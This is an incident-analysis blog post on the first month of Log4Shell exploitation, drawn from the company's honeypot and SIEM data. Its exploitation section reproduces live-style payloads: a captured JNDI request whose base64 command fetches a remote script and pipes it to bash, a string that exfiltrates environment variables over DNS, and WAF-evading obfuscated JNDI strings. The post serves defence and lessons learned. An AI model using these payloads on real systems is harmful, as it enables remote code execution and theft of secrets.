One month of Log4j: what did we learn?

One month of Log4j: what did we learn?

About a month has passed since the serious flaw in the logging library Log4j became known. The flaw (CVE-2021-44228) allows remote code execution and was named Log4Shell. Log4j is a widely used Java library for logging. Most 2.x versions are affected, and the list is on apache.org, along with further CVEs concerning Log4j. Because the library is built into a large number of products, many of them common open-source ones, a great many systems are affected. https://logging.apache.org/log4j/2.x/security.html

The first hours

As soon as the flaw became known we protected our own systems and those of our clients and checked them for attacks that had already happened. Within a short time we had registered a large number of attacks and analysed them continuously. That analysis is the point: we want to understand how the flaw is being exploited and what protects against the next one.

For this analysis we evaluated a month of data from our own honeypots and servers. The log data was evaluated in our SIEM.

With a flaw of this reach, the first hours decide the outcome. We saw the first Log4j attacks against our honeypots and servers from 10 December 2021, 13:00. Because the attackers used automated tools to find and attack vulnerable systems, a defender has very little time to act. It helps a great deal to have a working asset management system and not to have to research which systems might be affected. Those systems have to be identified quickly and access to them restricted, so they cannot be taken over. Then they can be patched. Even after patching, they should be checked by pentesters to confirm that the flaw is actually closed. If that process takes too long, the systems have to be treated as compromised and incident response started, not only for the systems carrying the Log4j weakness but for the systems that talk to them.

How the flaw is exploited

Exploiting it is not difficult. A single request is enough. The commands to run are passed in base64-encoded.

GET / x=${jndi:ldap://195.54.160.149:12344/ Basic/Command/Base64/KGN1cmwgLXMg MTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguM jAxLjExMi4xNTI6NDQzfHx3Z2V0IC1xIC1PL SAxOTUuNTQuMTYwLjE0OTo1ODc0LzEz OC4yMDEuMTEyLjE1Mjo0NDMpfGJhc2g=} HTTP/1.1

The flaw can also be used to read environment variables such as AWS_SECRET_ACCESS_KEY or JAVA_VERSION in a single request and exfiltrate them over DNS.

${jndi:ldap://${env:JAVA_VERSION}.oob.domain.tld}
8u102.oob.domain.tld

The classic attack string looks like this: ${jndi:ldap://attacker-domain.tld/a}. The first web application firewall signatures were written against it. From 12 December 2021 we saw obfuscated variants in the log data as well; they had been shared on Twitter earlier.

More obfuscated variants followed quickly. A few examples:

${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//x.x.x.x:8081/w} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://x.x.x.x:1389/t} ${${lower:j}${lower:n}${lower:d}i:l${lower:d}${lower:a}p://x.x.x.x:1389/t} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://x.x.x.x:1389/a}

Among the protocols used to exploit the flaw:

• dns
• ldap
• ldaps
• rmi

Many companies use vulnerability scanners to check whether their applications are affected. That helps only so far: scanners test the common cases, not the whole application. Attackers also close the flaw behind them once they have access to the system.

Most of the attacks we saw were aimed at web applications. The string was very often in the HTTP header, but also in the query string or in cookies. In theory it can appear anywhere, as long as it reaches Log4j. That is what makes the flaw so serious. We also saw attacks against Apache Solr and Elasticsearch. Alongside the web application attacks, we observed attacks over SSH and SMTP.

EHLO ${${::-j}ndi:dns://45.83.64.1/securityscan-zzz}Dec 14 04:52:12 hostname sshd[18610]: Invalid user ${jndi from x.x.x.x port x Dec 14 04:52:14 hostname sshd[18610]: Failed password for invalid user ${jndi from x.x.x.x port x ssh2 Dec 14 04:52:15 hostname sshd[18610]: Connection reset by invalid user ${jndi x.x.x.x port x [preauth]

What Log4j showed

Lessons learned

Log4j lets any organisation benchmark itself. How quickly did we hear about the flaw? How quickly could the affected systems be identified and countermeasures started? How do we check whether we are already compromised? With attacks of this kind, speed is the factor that matters. Manual defence is no longer enough against automated attacks at this volume. Checking system by system by hand whether the weakness is present usually takes more time than an attacker leaves you. Prevention alone cannot be relied on either, because it can be bypassed, and against a zero-day most preventive measures do nothing. That is why competence in asset management, protection and security monitoring matters so much. Log4j showed how exposed almost every company is, and it will not be the last flaw of its kind.